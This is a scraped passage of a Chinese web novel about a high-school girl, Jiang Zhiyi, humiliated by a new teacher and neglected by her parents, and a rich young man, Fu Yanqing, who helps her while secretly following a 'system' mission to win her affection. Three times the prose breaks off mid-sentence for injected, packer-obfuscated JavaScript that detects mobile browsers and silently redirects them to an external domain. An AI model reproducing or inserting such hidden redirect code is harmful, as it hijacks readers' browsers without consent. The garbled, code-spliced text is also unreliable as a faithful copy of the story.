就算有人捡到,也不会愿意为了这种东西费时费力的。 江知意苦笑了下,眼泪却忽然落下。 一颗一颗。 越来越快,越来越多。 4. Round 1 吃过饭,翻开练习册准备写作业时,江知意才发现撕掉的其中几页有今天的作业。 她翻来翻去确认几遍,叹了口气。 这事其实也不大,就是麻烦了些,要再去买本新的,然后重写一遍。 江知意想了想,决定明天放学再去买。 到了高三,作业全凭自觉,前一天晚上的作业第二天上课就会讲,所以也不会天天收作业折腾大家,大多都是几天才检查一次。 江知意祈祷,明天不会撞上老师心血来潮想收作业。 * 第二天去学校,老师确实没有收作业。 但—— 第一节课,数学老师捧着练习册,一边讲题一边绕着过道转。 转悠的同时还不时扫一眼过道同学的答案。 好巧不巧,转悠到江知意旁边时,他眼尖,看到订正的红色笔迹,忽然道:“江知意,这题你怎么错了?” …… 江知意心里的弦瞬间绷紧。 怎么错了? 因为这根本不是她的练习册。 这是她借别班同学的。 “这么简单的题,你怎么会做错?”老师说着拿起她的练习册,前后翻了两下突然一拧眉,翻到扉页。 果然,下一秒—— “江知意,你的练习册呢?”老师将练习册扔回她的桌上,直接道。 班上的同学全都好奇看了过来,几十道目光下,江知意抿了下唇。 在“撒谎”和“实话”之间犹豫几秒,江知意选择说实话。 江知意:“昨天我不小心把书包丢了,等找回来已经……” 还未说完就被老师打断,他冷笑一声:“书包丢了?等找回来发现作业被偷了?江知意,你不要觉得你考了第一就能随便糊弄老师了!” “老师,我……”江知意抬头想继续解释,老师却不再理她,猛一转身,大声道,“来,都把作业摊开,我现在检查作业!” 教室一片哗然,齐刷刷响起翻页声。 眼看老师走远开始检查,同桌王瑜急得小声道:“你快跟老师解释呀!” 江知意看一眼老师,低下头道:“下课吧。” 老师正在气头上,现在说什么都是驳他的面子,只会火上浇油,越来越糟。 检查完一圈,又揪出几个不写作业的同学。 连带着江知意,几人都被要求站了起来。 老师站回讲台,视线在站起的同学脸上扫过一遍,最后看着江知意道:“高三了,咱们班竟然还有同学不写作业,怎么,是等着二百多天以后干嘛?等着打零工还是去工地搬砖?家长辛苦送你们上学是让你们不写作业的吗?” 他越说声音越大,所有同学都默契低头,不敢发出一点声音。 江知意也低着头,她没顶嘴,也没来得及解释,这样在全班面前被骂被罚站还是第一次,她觉得难堪。 她什么时候这样被老师说过? “还有你,江知意,考了第一就能不写作业了?我告诉你我这儿没有这样的规矩,侥幸考了一次第一不算什么,这次第一不代表下次还是第一,不代表高考也是第一!” 突然被点名批评,有同学悄悄开始看她,似有若无的目光落在她身上,江知意难堪情绪更甚了。 连王瑜都听不下去,替她着急:“江知意,你现在给老师解释呀!” 江知意抿了下唇,仍然沉默。 老师骂够了也没有让他们坐下,只说让他们下课去办公室就接着开始讲题。 江知意握着笔,看着练习册的字发呆。 她听不进去。 脑子里反反复复都是老师针对她的话和同学打量的目光。 倒是王瑜偷偷给她写了张小纸条—— 【没事,这个老师是新来的,不清楚你实力,你以后次次考第一打他脸就好了~】 除了这句话,王瑜还在小纸条上画了个咧嘴笑的表情包,江知意看着呲了一口牙的蛋黄头,忍不住笑了一下,心情总算好点。 笑过之后又回神,趁老师没注意,将纸条揉起来,偷偷攥进了手心。 后半节课很快过去,下课后,江知意和另外几个同学跟着数学老师回了办公室。 老师坐下后给自己泡了杯茶才开始一个个训人,他刻意把江知意放在最后一个,等前面的训完,轮到江知意,上课铃声也适时响起。 被训完的同学回了教室,办公室的其他老师也纷纷抱着课本去上课,一分钟内,偌大的办公室就只剩江知意和数学老师两人。 和对其他人的态度不同,数学老师看她几眼,直截了当道:“带手机了吗?现在给你家长打电话。” 江知意猛地抬头看向老师。 她惊讶:“打电话?老师,我不是故意不写作业,是我书包被偷了,我……” “你别给我解释,江知意,我现在要直接跟你家长谈。”数学老师放下茶杯不再看她,翻开教案道,“考第一不是不写作业的理由,不写作业还撒谎,这是态度问题,我现在要直接跟你家长谈。” “不是的!我书包是在垃圾桶旁找到的,里面的书被弄脏了我才撕掉了几页,我是准备今天放学就去重买一本的!” 关乎叫家长,江知意也急了,语速飞快把昨晚的事解释了一遍。 这次老师没再打断,他听完后笔尖一顿,放下笔重新看她:“我现在就问你一个问题,撕了以后你是不是没有写,打算等今天晚上再写?” “……是。” “叫家长。”老师再次重复。 “……”江知意深吸一口气,掉头就往办公室外走。 这个数学老师是高三才来带他们的,目前也就带了他们不到十天。 江知意想不通他为什么这么死板,一次不写作业就像犯了天条,也想不通他为什么这么针对自己,明明都是作业问题,却只有她被叫家长。 但看老师那副样子,显然是听不进她任何解释了。 他认定了她是撒谎,是故意,她再说也只是浪费时间。 怄着一口气出了办公室,取出手机看到“苏语琴”三个字,江知意又清醒几分。 苏语琴……她能来吗? 她应该来不了。 她在出差呢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585775|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她盯着苏语琴的名字看了半天,最终还是拨通了电话。 几下提示音后,苏语琴的声音响起。 她压低声音道:“知意?这个点打电话干什么?你不是应该在上课吗?” 江知意:“老师……让家长来学校一趟。” “去学校干嘛?”女人的声音陡然变调,变得尖锐,“江知意,你是不是在学校给我惹什么祸了?好好的老师叫家长干嘛?” “我……”江知意抱着一丝希望解释,“我书包被偷了,作业被弄脏了,我撕掉了脏的几页打算今天放学去买新的,结果撞上老师检查作业……” 说到最后,她补充:“我没有给你惹祸。” 苏语琴却听不进去,仍压着声音道:“好好的书包怎么会被偷,你肯定是去哪儿乱跑了!” “我没有乱跑,我去养老院看奶……” “你去养老院干什么?高三了你不在家写作业乱跑什么?那地方鱼龙混杂的你不知道?一天到晚就知道给我惹祸,我出个差都不得安生,现在老师叫家长我怎么去?我……” 苏语琴话音未落,那边就传来一个模模糊糊的男声:“语琴,怎么了,谁的电话?” 然后话筒声音蓦然变小,苏语琴的声音也变得模糊:“没什么,推销的。” 等声音重新变得清晰,苏语琴压低声音留下最后一句话:“我出差去不了,找你爸去。” 没等江知意回答,电话就被挂断,听筒里传来冰冷的“嘟嘟”声。 江知意靠在走廊的墙上,保持了好一会儿举手机的姿势。 良久,她将手机从耳边拿开,自嘲笑了一下。 这个结果,江知意毫不意外。 她至今也不知道苏语琴说的出差是不是真的,更不知道对面那个男声是谁,和苏语琴什么关系,她只知道,苏语琴不想管她。 重新打开通讯录,江知意划到一个叫“江淮平”的名字停了下来。 这是她爸爸。 她刚出生时,他和苏语琴是异地,异地多年好不容易调回来,他和苏语琴的婚姻也走到了尽头。 这些年,除了节假日,江知意很少见江淮平。 偶尔见的日子里,江淮平对她还算不错,起码没有发过脾气。 现在打电话给他……他会过来吗? 江知意拨通了江淮平的电话。 和苏语琴一样,电话很快接通,中年男声响起:“喂?” 很久没有听过这个声音,江知意有点紧张:“爸爸。” 单手握电话的姿势变成双手,她将叫家长的事又说了一遍。 江淮平听完语气为难:“爸爸在上班呢,走不开啊。” 这句话说完,电话里传来嘈杂的人声,或许三秒,或许五秒,江淮平接着道:“好了爸爸还要忙,你跟老师好好解释一下,作业补上就行了,实在不行就叫你妈去,给你妈打电话,听话啊。” 然后江淮平也挂断了电话。 听筒里再次传来冰冷的“嘟嘟”声。 * “宿主。”系统对着傅延青道,“江知意有麻烦了。” 5. Round 1 父母双方都不愿意来,江知意将这个结果告诉老师,老师却不信。 他不相信在高三这个节骨眼儿上,父母会一点也不管孩子,在他的逻辑里,江知意一定是怕被父母骂,所以才撒谎说父母都不愿意来。 老师说:“江知意,现在要是离高考只有十几天我就不管你了,但现在才刚开学!刚开始就是这样的学习态度,后面怎么办?你是不是觉得现在能考什么成绩,高考就是什么成绩?我告诉你高三没你想的那么简单,前面成绩好的照样会掉下去,成绩不好的也能后面追上来!无论如何我今天要见你家长一面,你继续去打电话,等你家长来了再回教室上课!” 江知意:“……” 她握紧口袋里的手机,一言不发又离开了办公室。 重新回到走廊,江知意摸出手机,在楼梯间坐下,将通讯录里的“苏语琴”和“江淮平”看了一遍又一遍,眼泪终于掉下来。 两人那样的态度,她哪里有勇气再给他们打第二次电话。 远远的,楼下有脚步声响起,有人快步跑上来,江知意抬头,看到是王鑫。 他应该是上厕所回来,看到她后明显愣了一下,脚步一停才慢慢走上来,语气带着几分小心翼翼:“江知意,你怎么了?老师骂得很难听吗?” 说完又自顾自接话:“你别理他!班上人都看得出他就是有病,就是针对你!” 江知意擦了擦眼泪,摇头道:“我没事。” 王鑫抓了下头发,想安慰又不知从何安慰,沉默了会儿开口:“那你……” 他眼神纠结,大概是想问“那你怎么还不回教室”,却又怕她脸皮博,一开口戳到她的痛处,伤害到她的自尊心。 江知意:“我没事,你先回教室吧,我等下就回去。” 王鑫坐也不是站也不是,犹豫半晌才说:“那我先回去了。” 他侧身从她身旁走过,两步之后又停下来,回头看她:“江知意,你别放在心上,老师就是有病,别理他。” 江知意听到声音也回头看他,闻言,她点了下头,又冲他挥手。 王鑫这才向教室跑去,一声“报告”后,他走了进去。 走廊又恢复安静。 江知意抱着膝盖沉默半晌,决定再给江淮平打一次电话。 通讯录从字母“A”开始往下划,与此同时,楼下再次响起脚步声。 从容不迫,不急不缓。 江知意没有在意,往墙边挪了挪,准备给来人让道。 她低着头继续往下划手机,点开“江淮平”的名字后,脚步声也在下方停住。 下一秒—— 一道她过耳不忘的声音响起。 “哭什么?” 手指在虚空中顿住,江知意猛地抬头。 猝不及防间,她又看到了那个男人。 在校门外和养老院外,两次见到的男人。 与前两次一样,男人仍是一身笔挺有型的西装,即便江知意不懂西装不懂布料,也能看出它的崭新和昂贵。 看起来不像老师,那么—— 他是学校里的领导? 江知意呆呆望过去,倒是男人看清她脸上的泪痕,微一挑眉:“哭成这样,挨老师骂了?” “你是学校的老师吗?”江知意问。 不知是哪个字戳到他笑点,男人忍不住轻笑了下,回答:“当然不是。” 他向她走近:“只是来学校办事。” 剩两级台阶时,男人停下,微微俯身:“你呢,不上课在外面哭什么?” “没什么。”两人距离有些近,江知意不习惯地躲开了一点,回答完又往边上挪了挪,示意他可以从旁边走。 男人却不动。 见她躲开,他识趣地后退,恢复成站直的姿势,颇有耐心地继续问:“被老师骂了?还是被叫家长了?” 说到后半句时,江知意眼皮一跳,下意识抬头看他,差点脱口而出“你怎么知道”。 男人见她抬头,又露出一个“猜中了”的轻笑。 他抬手看了下腕表,状似随意道:“正好,我这会儿不忙,你要是害怕被骂,不想被家长知道,我可以帮你去见老师。” 江知意心里“咚”地一跳,一时不知该思考哪一件事才对。 她睁大眼睛望着屡次出现在她面前的男人,大脑像生了绣的机器一样,所有的思绪都变得缓慢。 他是谁? 他为什么帮她? 还有……他看起来这么年轻,怎么冒充她的家长? 江知意眨了下眼睛,问道:“可你一看就不像我爸爸。” 男人看起来的确太年轻了。 虽然举手投足的气质十分从容淡定,成熟稳重,但仅从脸看,他比她几乎大不了几岁。 “谁说只有父母才算家长?”傅延青挑眉,“还有哥哥呢。” 哥哥? 哥哥……好像也不是不行。 江知意明白过来,缓缓站起来:“可以吗?” 男人没急着回答,缓步又上一级台阶,直视着她的眼睛道:“前提是,记住我的名字。” “帮你去见老师可不是真的让你把我当哥哥,记住了,我叫傅延青。”他语速放慢,一字一字道,“傅延青,我的名字。” 傅、延、青。 江知意盯着他的脸,在心里重复了一遍。 “记住了吗?”傅延青说,“绵延的延,青色的青。” 绵延的延,青色的青。 江知意继续在心里默念。 默念完,她眨了眼眼睛,慢吞吞问:“为什么要记住你的名字?” “怎么?我帮你忙,你不用感谢我?不知道我的名字你怎么找我?”说完傅延青伸手,似乎想摸她的头,然而手伸到一半,他一顿,又若无其事放了回去。 他用一句话代替了刚才的动作:“小白眼狼。” 被说白眼狼,江知意很不服气,立刻正色强调道:“我不是白眼狼,我会感谢你的。” “听到了。”傅延青说完不再看她,往楼梯间外望了一眼,“办公室是哪间?” “左手第二个。” 傅延青“嗯”了声:“你回教室吧,我去找老师。” “你……”眼看他要走,江知意连忙叫住他,“你见到老师后不用多说,一律嗯嗯嗯就可以了,他说累了自然就会放你走了。” 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585776|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延青没有回头,略一点头便走出了楼梯间。 * 打完“报告”回到座位上,江知意仍满脑子都是让傅延青去冒充她家长的事。 不知道老师认不认哥哥是家长。 不知道老师会对傅延青说她什么。 不知道傅延青会不会听得不耐烦。 王瑜用书挡着脸,小声问她:“怎么样,没事吧?老师没对你怎么样吧?” 江知意笑笑:“没事。” 台上的语文老师正在讲文言文,枯燥的内容听得人昏昏欲睡。 江知意撑着头听了一会儿,突然想起一个重要的问题。 她要怎么联系傅延青? 现在才早上九点多,数学老师废话再多也不可能找家长谈一个小时,那一个小时后呢?傅延青总不可能一直等她到中午放学吧? …… 服了。 她居然忘了问傅延青要联系方式。 这下她要到哪里去找他? * 离开办公室,傅延青抬手看了一眼腕表。 9点50,还早。 系统跳出来道:“宿主,你看见老师的脸色有多难看了吗?” 傅延青下楼,随口应道:“看见了。” “你把老师一顿怼,真不怕他继续针对江知意?” “怼?”走出教学楼,傅延青取出一根烟点燃,“实话实说而已。” 在进办公室前,傅延青其实不知道江知意为什么会被叫家长。 等听老师长篇大论地说完,他忍不住嗤笑,觉得这老师真是闲得慌。 新官上任三把火,新来的老师也喜欢给学生立威。 真是没事找事。 “再说了,不是还有我吗。他要是喜欢叫家长,我不介意多来几次。”男人吐出一口烟圈,问起另一个问题,“他们几点放学?” 系统:“十二点。” “她中午回家吗?” “不回,但她中午会出来吃饭。” 傅延青“嗯”了声:“那我在校门外等她。” 正好把她奶奶的东西还给她。 想到此处,傅延青问系统:“你说这些事能让她对我有多少好感?” “……”系统沉默了下,回道,“不知道。这些在攻略期间是不可以被查到的。” 傅延青也没在意,随口在垃圾桶里弹了下烟灰就向校门外走去。 坐回车上取出笔记本电脑,瞥到自己的右手,傅延青的动作忽然停了下来。 他想起了刚刚那一幕。 他准备去摸江知意的头,却因为不适,又收回了手。 这些年他虽然掌权,却习惯独来独往,身边没有亲近的女人,自然也就没对女人做出过这种动作。 显然,“摸头”这种事超出了他的接受范围。 他还是不能接受对一个根本不熟、没说过几句话的女人做出这种亲密的动作。 就算是他的攻略对象也不行。 几秒钟后,傅延青收回目光,摇头笑了一下。 不需要。 他不需要做这些事也能攻略江知意。 只要他用心,就一定可以。 6. Round 1 下课后江知意立刻去看了一眼办公室。 傅延青没在,看样子已经走了。 只剩数学老师还在写教案。 江知意又去楼梯间看了一眼,也不在。 ……所以她要到哪里找他呢? 她绕了一圈回到教室,正好听到李博嚷嚷:“排量6496cc你懂是什么概念吗?6496!只有限量款的SF812才能做到!” 和李博一起的几个男生勾肩搭背趴在窗边,不知在看什么,七嘴八舌地吵起来。 王瑜见她回来,一脸看乐子的神情对她说:“你一下课就冲出去干嘛了?对了对了,你还记得前几天校门外的豪车吗?豪车今天又来了,李博他们正在看呢!” 豪车? 江知意眼皮一跳,立刻向窗边奔去。 他们教室在三楼,透过窗户正好能看到学校对面。 此刻他们嘴里那辆扎眼的豪车就静静停在马路对面。 漆黑,贵重,奢华。 是傅延青的车。 ……他没走? 他在等她吗? 王瑜跟上来站在她旁边,也望向窗外:“诶奇怪,你今天怎么也对豪车感兴趣了?” “我……”江知意一时也不知道怎么解释傅延青帮她去见老师的事,只能模棱两可地答道,“我看那辆车有点眼熟。” 王瑜“噢”了一声,她对车兴趣不大,很快聊起别的话题。 又一节课过去,等下课铃响,老师走出教室,李博第一个冲到窗边,发出惊喜的声音:“那车还在!” 江知意闻言也不由看了一眼窗户的方向。 离中午放学只剩一节课了,他是不是…… 真的在等她。 终于熬到放学,学生都开始往外涌。 江知意本打算一放学就去找傅延青,可看着密密麻麻的人头,她又犹豫了。 现在去找傅延青,无异于把自己送到众人的焦点上。 他们看到她和傅延青说话,一定会来问他们怎么认识的。 怎么认识的? 不好意思,她也不知道。 江知意故意在教室磨蹭了一会儿,等学生都走得差不多才下楼。 晚了十五分钟,希望傅延青别怪她。 如果实在要怪……那就只能多花点钱给他赔礼道歉了。 江知意过了马路来到车边,想看傅延青在不在车里,却发现车窗做了防窥设计,从外往里看什么也看不见。 她若有所思地看着防窥玻璃,伸出手准备敲车窗,玻璃却先她一步降下。 男人的脸缓缓露出,两人的目光猝不及防撞上。 静默几秒。 傅延青:“你知道你趴在车窗前的动作像什么吗?” 江知意:“……” 所以他早就看到她了? 看到她还不叫她,就这么坐在车里“欣赏”她的表情? 江知意立刻后退一步,忍不住道:“你!” 男人手臂搭上车窗,不由笑了。 这一笑落在江知意耳里,让她有种被捉弄了的感觉。 她忍了忍才硬邦邦道:“笑够了吗?” 傅延青敛了笑,开始慢条斯理地看她,末了道:“找我?” 这才算说到正事。 江知意酝酿一番,开口:“早上的事,谢谢你。” 傅延青眯起眼睛。 他伸手看了一眼腕表,然后将腕表面向她:“十二点放学,让我等了十五分钟,你就是这么谢我的?” 江知意:“……” 到底是她理亏,江知意低下头,老老实实准备道歉,又听男人问道:“你平时喜欢吃什么?” 话题转得猝不及防,江知意一懵,抬起头道:“啊?” 傅延青抬了抬手,示意她后退,接着拉开车门从车上下来,看着她道:“我饿了,吃饭吗?” 江知意继续懵。 “道歉的话你可以路上和吃饭时慢慢说,感谢也是。”傅延青问,“走吗?” 江知意终于反应过来,跟上他道:“那我请你!” * 还是不想让同学看见,不想被同学讨论,江知意带傅延青去了一家远且干净的店。 路上她问起“叫家长”的事,心虚道:“早上你去办公室,老师有没有说什么难听的话?” 傅延青:“他说你不写作业,撒谎,这些算吗?” 江知意一噎:“我没有撒谎,昨天晚上我书包被偷了,你知道的。” “那又怎样?” 江知意停下脚步。 她皱了皱眉,看着男人的背影道:“什么意思?你也觉得我不该不写作业?” 傅延青回头,淡淡补充:“不写作业,那又怎样。” 江知意准备好的话突然卡在了喉咙里。 “高中的作业有什么好写的?这么点小事就叫家长,你们老师工作量挺小。” 见她愣在原地,傅延青又走回来:“作业这种东西,应付几下就够了,来来回回都是题海战术,有什么意思。” 他轻轻挑眉:“想掌握一个知识点,一道题就够了。”说罢俯身,“你要是不会,我可以教你。” 他做好了江知意崇拜看他的准备,结果江知意眨了眨眼,回道:“我是第一,不用教。” 傅延青:“……” * 来到店里已经快一点。 过了用餐高峰期,店里清净不少。 江知意挑了个空位坐下,主动将菜单递向傅延青:“你想吃什么?” 傅延青站在桌边,看着桌下的圆凳,微不可察地蹙起眉。 一秒后,他掩下不悦,神色如常地拉开凳子坐下。 接过菜单,看着整整一页的各式砂锅,傅延青再次蹙眉。 ……这都什么。 他毫无胃口,随便点了一个就将菜单还给江知意。 江知意点完将菜单放下,两人之间忽然陷入诡异的沉默。 傅延青是没食欲,也没有说话的欲望,江知意则是发现了傅延青的兴致缺缺。 她低下头,第一次在傅延青面前觉得拘谨和窘迫。 也是。 他开那样的豪车,身上又是那样名贵的衣服和手表,这里的饭一定和他平时吃的差远了。 她说请他吃饭,简直是不自量力。 整顿饭傅延青都没动几下筷子。 等江知意吃完,两人又一路沉默地向学校走去。 就这样一直走到傅延青的车旁。 江知意停下脚步:“下次,我再给你准备像样的谢礼吧,昨天和今天……都谢谢你。” 她取出手机:“你的联系方式,能给我一个吗?” 从进店到现在,傅延青终于又笑了。 他点头:“可以。” 他报了一个号码让她加他,然后拉开车门。 见傅延青要走,江知意也跟着道:“那我回学校了,再见。” 她道完别转身,傅延青却在身后叫住了她。 “江知意。” “砰”地一声响,车门被关上。 江知意回头,发现男人手上多了个小纸袋。 他将纸袋递向她,淡淡道:“你的东西。” 江知意露出疑惑的眼神:“我的东西?” “打开看看不就知道了。” 江知意看着纸袋,最终还是在好奇心的驱使下,上前接过。 纸袋很轻。 从男人手里接过的时候,还能感受到轻轻晃动的动静。 她打开纸袋,里面是一个小铁盒。 只是在看清铁盒的样式后,她怔了怔。 银色的铁盒,上面印着雪花,和昨天奶奶给她的一模一样。 她呼吸一窒,又蓦然变得急促,几乎是颤抖着将铁盒取出,打开盖子。 然后她看到了更熟悉的东西。 一把钥匙,一封叠起来的信,一盒花花绿绿的糖。 糖和铁盒是奶奶的,钥匙是昨天丢的,那么这封信,也毫无疑问是奶奶的那封。 以为再也找不回来的东西就这样蓦然出现在眼前,江知意嘴唇翕动了几下。 她好像一瞬间失去了思考能力,一瞬间大脑变得空白,几秒后才缓缓抬头。 她看一眼傅延青,看一眼对面的校门,又看一眼头顶的天,缓缓回归的思考能力才帮她得出结论:不是做梦,是真的。 她将视线落回男人身上,问道:“我的东西……为什么会在你这里?” 她第一反应是既然傅延青动了她的书包,那么这些东西或许也是他拿走的,可转念一想又觉得逻辑不通。 这些东西对他来说分文不值,他何必如此? “当然是因为我替你找回来了。”傅延青好笑道,“难道你认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585777|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我拿走的?” 江知意赶紧摇头。 “是个小混混,盯了你好几天,偷了你的东西,还给自己多配了把你的钥匙。”他用眼神示意,“就在信下面。” 江知意拿开信,果然见一把一模一样的钥匙在下面。 “人我替你打过了,至于钥匙。”傅延青提醒,“你最好还是换把锁。” “我换过了。” 傅延青点头:“那就好。” 午后的风徐徐吹过,江知意盖好铁盒,问道:“你……真的打人了吗?” 傅延青眯起眼:“不信?” “不是,只是觉得你不像是会动手的人。” 她实在想象不出一个穿高档西装的人会和一个小混混打成一团。 “那不然?我又没帮手,不打他,怎么把你的东西拿回来?” 说了半天,话题又回到起点。 江知意抿了下唇,终于问出那个问题:“你为什么帮我?” 我们又不认识,你为什么帮我。 这句话说完,两人之间沉默了许久。 傅延青静静看着她,脸上的表情看不出他在想什么,但有那么一瞬,江知意觉得他的思绪似乎飘到了远处。 他好像在看她,又好像透过她在想别的。 “日行一善,需要理由吗?”傅延青终于开口,“非要说一个理由,你就当我人好吧。” 江知意:“……” “谢谢。”她又说一遍,最后道,“下次见面,我还你谢礼,再见。” 看着江知意走进学校,傅延青才收回目光上了车。 他开车一路向前,穿过两个世界的交界处后便停了车,他取出手机,给助理打了个电话。 十分钟后,助理带着司机赶到,傅延青坐回后座,神情恹恹闭上了眼睛。 下车前他对助理交代:“去把车洗了。” 上楼回家,傅延青换下外出的一身衣服,打电话叫了阿姨来。 阿姨用洗衣篮抱着换下的衣服离开,随口道:“傅先生最近换衣服这么勤呀?” 阳台边,傅延青正支着头喝红酒。 闻言,他想起中午江知意带他去吃饭的地方。 那里的桌子凳子不知道多少年没换过,不知道藏匿了多少年的油垢。 如果不是江知意,他怎么可能在那里忍耐二十分钟。 傅延青取出一张纸巾,轻轻擦拭着杯口的红酒渍,回答:“脏了就洗。” * 回到教室时,班上只来了零星几个同学。 有的趴在桌上睡觉,有的凑在一起闲聊,有的则打开书开始刷题。 江知意拿着东西在座位上坐好,第一件事便是打开奶奶写给她的信。 信纸展开,奶奶的字迹映入眼帘。 她学历不高,只念到初中,这么多年也很少写字练字,故而这封信的字看起来格外青涩。 青涩之下,又带着一笔一划的专注与认真。 【知意,你该上高三了吧?秋天了,容易下雨,出门记得看天气预报,记得带伞,记得多穿衣服,别感冒了。 你放心,奶奶在这儿过得很好,吃得饱睡得好,还有人陪奶奶说话,陪奶奶散步,你学习要紧,别操心我,好好考大学,等考上了,奶奶给你发大红包。】 最后一句下面还有一行字迹,只是被胶带反复粘过,颜色淡到几乎看不见。 江知意凑近才辨认出奶奶写的什么:【知意,奶奶想你了。】 信的右下角还有一块凹凸不平的地方,皱皱巴巴,像水渍干后的样子。 她伸手,动作小心地抚过那块地方,像是在用这种方式替奶奶擦去眼泪。 江知意将信看完两遍,折起来仔仔细细收好,这才取出手机看好友申请的情况。 未读消息显示1,傅延青已经通过了。 江知意顺着对话框点开了他的个人信息页。 傅延青的头像是蓝色的。 蓝色的天,蓝色的海,海天一色,一望无际。 头像旁边,是他的微信名F。 江知意接着点进他的朋友圈。 傅延青的朋友圈空空如也,什么都没有,只有一条横线和一句个性签名。 签名是句英文: Somebirdsarenotmeanttobecaged. 有些鸟注定不会被关在笼子里。 7. Round 1 奇怪的人,江知意想。 在她看来,这个男人的一切都很莫名其妙。 莫名其妙出现在她生活里,莫名其妙知道了她的名字,莫名其妙帮了她。 他说他是日行一善,是人好,可这么多的巧合,又岂是一句“人好”能解释的。 他一定是带着目的来的。 至于什么目的,江知意猜不出。 她一个普普通通的高中生,要钱没钱,要权没权,能有什么让傅延青感兴趣? 江知意又翻了翻傅延青的微信,什么有用的信息都没找到,最终恹恹收起了手机。 她取出练习册准备写题,一旁的凳子却被人拉开。 李博坐到王瑜的位子上,凑过来神秘兮兮地问道:“江知意,我今天中午看见你了。” 这话说得很奇怪,江知意皱眉,疑惑道:“看见了,所以呢?” “所以……”李博左右看看,见周围没人才继续道,“不止你,我还看见你旁边的人了。” 江知意心里咯噔一声。 “学校对面的SF812,我看见你和车主一起说话一起走了。”李博一脸兴奋,“江知意,你认识车主啊?” 接着又是两连问:“你俩怎么认识的,他是做什么的?” “……”江知意懵了懵,垂死挣扎道,“你确定不是看错人了?” “当然!江知意,我还能认不出你吗?”他说完又压低声音,换上一副很懂的表情,“我知道了,你是不是想低调?哎呀我懂,认识这么个大佬,要是不低调肯定一堆人来找你借钱!” 他自顾自替她找好理由,话锋一转道:“但我就不一样了,你放心,我肯定不找你借钱,我就想问问,你跟车主熟的话,能不能让我近距离看看他的车?” 江知意:“……” 带同学去看傅延青的车?她有种自己在找死的感觉。 她摇头:“你误会了,我和他不熟的,只是他捡了我的东西来还给我而已。” “啊……”李博大失所望,脸上的神采都黯淡几分,“我还以为你们认识呢。” “想什么呢。”江知意无奈笑笑,“我们怎么可能认识那种人。” 希望破灭,李博唉声叹气半天,一脸丧地回到了座位上。 下午又有数学课,要接着讲早上没讲完的题。 为了避免老师再挑刺,江知意特意复印了一份空白的习题赶在数学课前写完了。 上课没几分钟,老师果然如她所想,拿着练习册开始在过道转悠。 眼见老师就要转过来,江知意赶紧低头,做出一副认真听讲的模样。 老师的声音越来越近,最终停在她头顶。 他大概是在看她的练习册,好一会儿才重新动了,向后面走去。 听着声音在身后远去,江知意总算松一口气。 这样下去他应该不会再找她麻烦了。 晚上放学,因为要去买新的练习册,江知意跟王瑜打了声招呼便先行离开了。 谁知刚出校门,就有人喊她名字。 “江知意。” 声音不大,可在一众喧嚣的噪音中,就是准确无误地钻进了她耳朵里。 江知意知道是谁在叫她。 她身体僵了僵,缓缓转身去看,模糊的夜色下,傅延青就靠在车边,神情淡淡地朝她看过来。 不同于前两次,这次他的车直接停在了学校这一侧。 但凡是有眼睛的人,出来都会被这车吸引一两秒的注意力。 扎眼得不能再扎眼。 坦白说,江知意不太想过去。 傅延青的车太吸睛了,现在正是放学高峰期,一旦她过去,用脚想都知道同学会怎么聊她。 可客观来说,傅延青又的确帮了她几次,这么避而不见很不礼貌。 ……还是过去吧。 江知意认命地朝傅延青走去。 等她走近,男人挑眉道:“一副苦大仇深的模样,怎么,看见我不乐意?” 不等江知意回答,身后又有人喊她的名字。 “江知意!” 李博眼睛都亮了,兴奋地朝她跑来几步:“你……” 他挠了挠头,没提车的事,也没提中午的事,“你”了半天才找到个借口:“一起去车站吗?” 说话的工夫,他的眼睛几乎粘在了傅延青车上,趁机猛猛欣赏。 江知意摇头:“我要先去一趟书店。” “好吧……”话题结束,他憋不出新的理由,只能依依不舍地道别,“那你路上小心,我先去车站了。” 道完别离开,还不停地三步一回头,偷偷看傅延青的车。 等人彻底走远,江知意轻叹一口气,看向傅延青道:“你找我有事吗?” 她想好了,这次之后一定要跟傅延青说清楚,以后不要在这么显眼的地方等她,她可不想成为同学口中的谈资。 “有事。”傅延青说着打开车门,从座位上取了样东西出来。 他将东西递给她,解释:“老师让我买的,你们用的练习册是这本没错吧。” 江知意看着递过来的崭新练习册,愣了愣。 她呆了几秒才伸手接过,茫然道:“你来找我,就是为了给我这个?” “不然呢。”傅延青轻笑,“都帮你见老师了,就干脆好人做到底了。” “江知意,你怎么还没走?”王瑜的声音在身后响起。 她刚刚从校门出来,几步跑到她身边,看看她又看看她身边的男人,眼神逐渐变得惊疑不定:“你不是那天……” 江知意赶紧打断:“我明天再跟你解释,我这会儿还有事,你先回吧好不好?” 